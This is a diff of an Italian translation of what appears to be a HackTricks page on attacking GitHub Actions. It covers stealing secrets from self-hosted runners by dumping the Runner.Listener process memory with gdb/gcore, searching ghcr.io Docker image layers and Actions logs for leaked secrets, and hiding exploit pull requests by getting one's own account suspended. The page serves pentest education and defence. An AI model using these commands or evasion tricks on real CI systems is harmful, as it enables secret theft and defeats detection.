-**Self-hosted** runners potrebbero avere accesso a **informazioni sensibili aggiuntive**, ad altri **sistemi di rete** (endpoint vulnerabili nella rete? metadata service?) oppure, anche se isolato e distrutto, **più di una action potrebbe essere eseguita contemporaneamente** e quella malevola potrebbe **rubare i secrets** dell'altra.
+**Self-hosted** runners potrebbero avere accesso a **informazioni sensibili aggiuntive**, ad altri **sistemi di rete** (endpoint vulnerabili nella rete? metadata service?) oppure, anche se sono isolati e distrutti, **più di una action potrebbe essere eseguita contemporaneamente** e quella malevola potrebbe rubare i secrets dell'altra.
 
-Nei self-hosted runners è anche possibile ottenere i **secrets from the \_Runner.Listener**\_\*\* process\*\* che conterrà tutti i secrets dei workflows in qualsiasi step dumpando la sua memoria:
+Nei self-hosted runners è anche possibile ottenere i **secrets from the \_Runner.Listener**\_\*\* process\*\* che conterrà tutti i secrets dei workflow in qualsiasi step effettuando il dump della sua memoria:
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
@@ -581,8 +581,8 @@ Check [**this post for more information**](https://karimrahal.com/2023/01/05/git
 
 ### Registro immagini Docker di Github
 
-È possibile creare Github Actions che eseguono il build e memorizzano un'immagine Docker all'interno di Github.\
-Un esempio è disponibile nel seguente elemento espandibile:
+È possibile creare Github actions che **creano e memorizzano un'immagine Docker all'interno di Github**.\
+Un esempio può essere trovato nel seguente elemento espandibile:
 
 <details>
 
@@ -617,9 +617,9 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 ```
 </details>
 
-Come puoi vedere nel codice precedente, il registry di Github è ospitato in **`ghcr.io`**.
+Come puoi vedere nel codice precedente, il Github registry è ospitato in **`ghcr.io`**.
 
-Un utente con permessi di lettura sul repo potrà quindi scaricare la Docker Image utilizzando un personal access token:
+Un utente con permessi di lettura sul repo potrà quindi scaricare la Docker Image usando un token di accesso personale:
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
@@ -630,18 +630,18 @@ Poi, l'utente potrebbe cercare **leaked secrets in the Docker image layers:**
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
 {{#endref}}
 
-### Informazioni sensibili nei log di Github Actions
+### Informazioni sensibili nei logs di Github Actions
 
-Anche se **Github** prova a **detect secret values** nei log delle actions e a **avoid showing** questi valori, **altri dati sensibili** che potrebbero essere stati generati durante l'esecuzione dell'action non verranno nascosti. Per esempio, un JWT firmato con un secret value non verrà nascosto a meno che non sia [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Anche se **Github** prova a **rilevare valori segreti** nei logs di Github Actions e a **non mostrarli**, **altri dati sensibili** che potrebbero essere stati generati durante l'esecuzione dell'action non verranno nascosti. Ad esempio un JWT firmato con un valore segreto non verrà nascosto a meno che non sia [specificamente configurato](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
 
 ## Coprire le tue tracce
 
-(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prima di tutto, qualsiasi PR aperta è chiaramente visibile al pubblico su Github e all'account GitHub bersaglio. Su GitHub, per default, **non possiamo cancellare una PR dall'internet**, ma c'è un trucco. Per gli account Github che vengono **suspended** da Github, tutte le loro **PRs vengono automaticamente deleted** e rimosse dall'internet. Quindi, per nascondere la tua attività devi o far sì che il tuo **GitHub account venga suspended o che il tuo account venga flagged**. Questo **nasconderebbe tutte le tue attività** su GitHub da internet (basicamente rimuovere tutte le tue exploit PR)
+(Tecnica da [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prima di tutto, qualsiasi PR aperta è chiaramente visibile al pubblico su Github e all'account GitHub bersaglio. In GitHub, per impostazione predefinita, **non possiamo eliminare una PR da Internet**, ma c'è un colpo di scena. Per gli account Github che vengono **sospesi** da Github, tutte le loro **PR vengono automaticamente eliminate** e rimosse da Internet. Quindi, per nascondere la tua attività devi o **far sospendere il tuo account GitHub** o **far segnalare il tuo account**. Questo **nasconderebbe tutte le tue attività** su GitHub da Internet (praticamente rimuovendo tutte le exploit PR)
 
-Un'organizzazione su GitHub è molto proattiva nel reportare account a GitHub. Tutto quello che devi fare è condividere “some stuff” in un Issue e si assicureranno che il tuo account sia suspended entro 12 hours :p e così hai reso il tuo exploit invisible su github.
+Un'organizzazione su GitHub è molto proattiva nel segnalare account a GitHub. Tutto quello che devi fare è condividere “some stuff” in un Issue e loro faranno in modo che il tuo account venga sospeso entro 12 ore :p e così hai reso il tuo exploit invisibile su github.
 
 > [!WARNING]
-> L'unico modo per un'organizzazione per capire di essere stata presa di mira è controllare i log di GitHub dal SIEM, dato che dalla GitHub UI la PR verrebbe rimossa.
+> L'unico modo per un'organizzazione di capire di essere stata presa di mira è controllare i log di GitHub dal SIEM, poiché dall'interfaccia di GitHub la PR verrebbe rimossa.
 
 ## Riferimenti